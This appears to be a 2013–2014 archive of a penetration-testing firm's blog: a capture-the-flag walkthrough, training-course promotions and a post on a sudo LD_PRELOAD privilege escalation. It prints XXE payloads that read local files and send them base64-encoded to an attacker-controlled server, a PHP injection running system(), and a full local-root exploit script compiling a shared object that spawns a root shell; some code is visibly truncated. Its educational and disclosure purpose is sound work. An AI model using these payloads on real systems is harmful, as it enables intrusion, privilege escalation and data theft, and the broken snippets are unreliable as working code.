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Fri, 27 Jun 2014

SensePost Challenge - Winners and Walkthrough

We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:

The challenge was extremely well received and we received 6 successful entries and numerous other attempts. All the solutions were really awesome and we saw unique attacks, with the first three entrants all solving the challenge in a different way.


As stated, there are multiple ways of solving the challenge, we are just going to outline one way that hopefully provides multiple techniques which can be used in real-world pentests.

Flag 1:

The challenge started with the initial goal of "Read the file /home/spuser/flag1.txt" . When visiting the challenge website there were three initial pages available "index","about" and "login". We had numerous challengers head straight to the login page and attempt SQLi. The other common attack we saw was bruteforce attempts against the login. Both of these were fair attempts, however, the real point of interest should have been the "Feed tester" feature on the index page.

The index page had a feed tester feature, this allowed loading of external XML formatted feeds.
The index page had a feed tester feature, this allowed loading of external XML formatted feeds.

Simply trying out this feature and viewing how it functions. Viewing the feed tester result, we noticed that the contents of the XML formatted RSS feed were echoed and it became clear that this may be vulnerable to XXE. The first step would be to try a simple XML payload such as:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>

This would fail with an error message of "Something went wrong". The reason for this was that the application was attempting to parse the XML for valid RSS tags. Thus we need to alter our payload to conform to be a valid RSS feed (We used this as a template).

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<description>Free web building tutorials</description>
<title>RSS Tutorial</title>
<title>XML Tutorial</title>
<description>New XML tutorial on W3Schools</description>

And we should see the contents of flag1.txt displayed in our feed:
And we've captured flag1
And we've captured flag1 Now onto flag 2...

Flag 2:

The contents of flag1.txt revealed the "access code" we needed to log into the site. So we went over to the login page and entered an email address as the username and the access code as our password. Viola, we now have access to the "main" page as well. This page revealed some new functionality, namely the ability to update our user details. Unfortunately there was no upload function here, so there goes the easy shell upload. We updated the user account and used Burp to look at the submitted request.

The submitted POST request
The submitted POST request

It looks like we have some more XML being submitted.. Again we tried XXE and found that using "file://" in our payload created an error. There were ways around this, however the returned data would be truncated and we would not be able to see the full contents of flag2.txt... When stuck with XXE and not being able to see the result (or complete result) there is always the chance that we can get the data out via the network. To do this we needed to generate a payload that would allow us to fetch an external DTD and then "submit" the contents of our target file to a server under our control. Our payload on our server looked like this:

<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/home/spuser/flag2.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:8000/?%data;'>">

Note how we had to use the php://filter function to base64 encode our payload. This allowed us to avoid control characters breaking the XML structure and URL format. Finally, the payload submitted to the challenge server simply consisted of:

<?xml version="1.0" ?>
<!ENTITY % sp SYSTEM "http://x.x.x.x:8000/ev.xml">

We didn't really need to worry about what happens after our "XXE payload" because the xmldecoder had already submitted the contents of file2.txt to our server before the application code started parsing the XML document. When submitting the payload we needed to encode the % and & symbols otherwise these broke the XML decoder.

Our payload was correctly encoded submitted to the profile update function.
Our payload was correctly encoded submitted to the profile update function.

As soon as the XML decoder parsed our malicious payload, we would receive the base64 encoded contents on our server:

The challenge server would send the contents of flag2.txt to our server.
The challenge server would send the contents of flag2.txt to our server.

Now it was a simple matter of decoding the payload and we had the second flag. This was not the only way to get flag 2! It was the most "fun" way of doing it though and used a really handy method. Remember it for your next pentest...

Flag 3 AKA "get your name on the wall of fame":

Flag 2 gave us the access code we needed to unlock the final piece of the challenge. This presented us with the "add a feed" feature. Again, we first tried out the new feature to see what was happening. Our first observation was that nothing happens when we just add the feed. However, things do get interesting when we view our new feed. The new feed is displayed in a freshly generated php page. This should have triggered warning bells, we've got php being generated, how about we inject some php? Looking at the feed creation we again note that the payload consists of some XML being submitted. Now if we wanted to inject a shell, how would we do this without breaking the XML structure? Two options were available to us, one, encoding and two XML trickery. The encoding option was simple, simply encode all the angle brackets of our php payload and then insert it into our XML payload. This worked because php was kind enough to decode the URL encoded elements AFTER the XML decoder had done it's thing. Thus the XML validated successfully and our encoded characters got decoded back into their original form before being inserted into our new php file. The second option was to surround our php code with CDATA tags. The CDATA tags told the XML decoder not to parse the content surrounded by these tags as XML but rather treat it as free text. Simple enough and quicker than manually encoding our payload. Thus our new payload would look as follows:

<feed><name><![CDATA[<?php system('echo etienne >> /home/spuser/wof.txt') ?>]]></name><url></url></feed>

Now we had a new link created in the feeds list. We could navigate to this new feed and our php code would get executed as the page loaded. And boom, just like that our name should be on the "Wall of Fame". We could easily verify this by using the XXE from flag 1 and fetching /home/spuser/wof.txt instead. Below is the "Wall of Fame" at time of writing:

  • secdefect

  • Ron

  • ftard

  • send9 wuz here

  • @leonjza was here :)

  • harry@nsense was here 1403445693

  • #uushomo@1403472051

  • marquee was here

  • El Gato!El Gato!

  • melih_sarica_ms_isr_com_tr_was_here


Congratulations to everyone who finished the challenge! However, there could only be one winner. The winner is Espes, who narrowly beat our two runners up to win a training ticket for any one of our course at Black Hat Vegas 2014.

The two runners up who both can claim one of our awesome 2014 t-shirts:

Vitaly aka @send9

Sash aka @secdefect

Education is the most powerful weapon which you can use to change the world - Mandela
Education is the most powerful weapon which you can use to change the world - Nelson Mandela

Thu, 19 Jun 2014

Hacking Challenge: Drive a tank through it

At SensePost we get to enjoy some challenging assessments and do pretty epic things. Some days it feels like the only thing that could make it better would be driving tanks while doing it. The best hacks normally make their way into our training courses as practical exercises where students get to replicate (and improve on) these hacks. However, we know that there isn't always room for all the epicness and unfortunately not everyone can attend the training. So we put some into a challenge for you. We've taken a few recent hacks and rolled them into one challenge, can you crack it?

Starting-point: Read the contents of /home/spuser/flag1.txt
Once you've completed the challenge, email us with a screenshot of your victory and a short overview of how you did it.
The prize: The winner of this challenge will be offered a free seat on any one of the SensePost training courses at Black Hat 2014.

It's almost Black Hat time again and as always SensePost will be presenting numerous Hacking by Numbers training course, which we've rewritten this year. For more information on the training courses on offer at Black Hat this year, check out:

Good luck comrade!

Thu, 15 May 2014

BootCamp Reloaded Infrastructure

Get some.

Why Infrastructure Hacking Isn't Dead

If you work in IT Security you may have heard people utter the phrase,

“Infrastructure hacking is dead!”

We hear this all the time but in all honesty, our everyday experience of working in the industry tells a completely different story.

With this in mind we've decided to factor out our “infrastructure related h@x0ry” from our Bootcamp Course and create a brand spanking new one, completely dedicated to all things ‘infrastructure'.

What You'll Learn

We've re-loaded this course to not only reinforce basic footprinting methodologies - which to be honest, are essential for target acquisition - but to also enable you to exploit common, real-world vulnerabilities.

But that's not all.

We've also highlighted methods for compromising Microsoft Active Directory infrastructures - something that's typical for corporate environments. The way in which we approach this is thorough, effective and shows you how to become DA without necessarily pulling all of your hair out.

A complete company takeover is really just a matter of time.

Get Hands-On Experience

As with all SensePost training courses, we don't just want you to sit there and watch us talk for a few days. Where's the fun in that and how on earth will you get real, tangible experience if you're just sat in a chair?

Not only will we all be doing practicals at the end of each topic, we've also created a brilliant culmination exercise:

“You'll need to compromise a company via the Internet and steal as much data as possible!”

The Bottom Line

The brand new Bootcamp Reloaded Infrastructure will provide you with a thorough introduction to real world hacking of corporate environments. You'll learn everything you need to successfully compromise most corporate networks out there.

For more information on our training offering, head over to here.

Tue, 13 May 2014

BlackOps Hacking Training - Las Vegas

Get some.

BlackOps you say?
At SensePost we have a range of courses in our Hacking by Numbers reloaded series. We feel each one has its own special place. I've delivered almost all the courses over the years, but my somewhat biased favourite is our recently updated BlackOps Edition. Myself (Glenn) and Vlad will be presenting this course at BlackHat Vegas in August.

Where Does BlackOps fit in?
Our introductory courses (Cadet and Bootcamp) are meant to establish the hacker mindset - they introduce the student to psychological aspects of an attacker, and build on that to demonstrate real world capability. BlackOps is designed for students who understand the basics of hacking (either from attending Bootcamp/Cadet, or from real-world experience) and want to acquire deeper knowledge of techniques we use. We built the course based on our 13 years of experience of performing security assessments.

But really, what's the course about?
This course is aimed at those who've been performing penetration testing for a while, but still feel a bit lost when they've compromised a host, or network and want to know the best possible approach to take for the next step. All of the labs in this course come from real life assessments, with the final lab being a full-blown social engineering attack against an admin with pivoting, exfiltration and the works. Specifically, we're going to cover the following topics:

1. Advanced Targeting
A hacker who can quickly and effectively identify targets is a successful attacker. We'll be looking at non-standard techniques for identifying targets, such as mDNS, IPv6, and other rapid reconnaissance techniques.

3. Compromise
You may know how to roll a generic metasploit payload, but we'll be looking at some lesser utilised approaches to compromise. From WPAD injection, to rogue routers in IPv6, to good old smbrelay attacks, to crypto attacks against obfuscated credentials.

4. Privilege Escalation
So you've gotten a shell, now what?
Following on somewhat succinctly, how do you elevate your privileges after compromising a box? Everyone wants to be root or enterprise admin, but how do you go about this without raising the alarm and keeping your shell?

5. Pivoting
Don't underestimate the importance, or intricacies of this topic. Once you've compromised a lowly network edge server, or the receptionist PC, how do you bounce through that box to get to the good stuff, three DMZs deep? We'll show you how. A must-have for every hackers box of tricks.

6. Open Source Intelligence (OSINT)
Finding out as much as possible about an adversary from publicly available information is one of the most important steps of any hack. This relates to both infrastructure (domains, IP ranges, etc) and personnel. In this section we'll focus mainly on the latter. How can you find out more information about the girlfriend of the son of your target company's CEO? We'll show you. Why would you want to? A good social engineering attack abuses trust relationships, so nothing makes a dad click on that dodgy looking email if it was from his son.

7. HIPS Evasion
Hackers don't like getting caught. So we'll teach you how to evade 100% (yes, 100%) of anti-virus products on the market, as well as hiding from smart traffic filtering devices. Bring your own ninja outfits, we'll provide the skill-set.

8. Client Side Attacks
The weakest layer of the OSI stack - the human. Trust us, if you really want to compromise an organization, going after the receptionist's outdated Windows box is the first stepping stone. After all, why wouldn't she open an email that appears to come from her boss, and has a harmless .xls attached?

Each module of the above modules has a theory section followed by a practical lab to allow you to practise your newly acquired skills. The course finishes with a Capture-the-Flag, with a grand prize. Honestly, this final lab is enjoyable and guaranteed to bring a smile on your face whilst doing it.

We're looking forward to sharing out knowledge, experience, and passion for security with you. Please sign up here.

-Glenn & Vlad

Wed, 28 Aug 2013

Something about sudo, Kingcope and re-inventing the wheel

Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo - long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?

For lack of deeper understanding I googled around the issue and came across which is a vanilla LD_PRELOAD example overiding glib's fopen() call. That sort of suited me well since I reckoned starting services will prolly read config files.

So after a little fiddling I came up with the following creature:

/* gcc -Wall -fPIC -shared -o myfopen.c */
/* */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fopen(const char *path, const char *mode) {
printf("MAKE ME A SANDWICH\n");
if (access("/tmp/sandwich", F_OK) != -1)
//printf("fake fopen: not active \n");
return NULL;

which could be invoked via

touch /tmp/sandwich
sudo LD_PRELOAD=/home/george/Desktop/playground/ld_preload/ /etc/init.d/ssh restart

Best thing was it sort of worked! Ugly but functioning...
While trying to work out the finer details, however, I came across a sploit Kingcope had written in 2008, which exploited exactly this issue! Apparently older sudos did not "Defaults env_reset" or "Defaults setenv" which makes the LD_PRELOAD possible. (This still applies to [mis]configurations which preserve the environment)
As always with Kingcope sploits it is very elegant and definitely worth a look.

On a side note: the header of his sploit says:

#* Sudo <= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/
# Most lame exploit EVER!
# Needs a special configuration in the sudoers file:
# --->>>>> "Defaults setenv" so environ vars are preserved :) <<<<<---
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don't even know why I realease such stuffz

so Kingcope considered the vuln UEBERLAME ... I don't know if I should be proud or sad for having found it five years later then....
Anyhoo, at this point I was already pretty invested in the thing and decided to see the re-invention of the wheel through. Kingcope's shared object was a lot slicker than mine, hooking into _init() rather than fopen() which makes it a lot more generic and elegant. He used unsetenv(LD_PRELOAD) to execute but once which is also a lot more elegant.

So I shamelessly stole from his sploit... I don't see the need for a suid shell stager and fancy execls when a simple system() does the job, but I am prolly missing several points =) So without further waffle here it is - its called sandwhich sploit as an homage to the classic XKCD sudo comic.

1 #!/bin/bash
2 #
3 # old/misconfigured sudo local root
4 #
5 # disclosed by Kingcope in 2008
6 #
7 #
8 # "re-discovered" in 2013 by
9 #
10 #
13 echo
14 echo "[!] $0 - sudo un-sanitised environment sploit"
15 echo "[!] usage: $0 <program to run via sudo> "
16 echo
19 cat > /tmp/sandwich.c << _EOF
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <unistd.h>
23 #include <sys/types.h>
25 void _init()
26 {
27 if (!geteuid())
28 {
29 unsetenv("LD_PRELOAD");
30 setgid(0);
31 setuid(0);
32 unlink("/tmp/");
33 unlink("/tmp/sandwich.c");
34 system("/bin/bash");
35 }
36 }
38 _EOF
41 gcc -fPIC -shared -o /tmp/ /tmp/sandwich.c -nostartfiles
42 sudo LD_PRELOAD=/tmp/ $1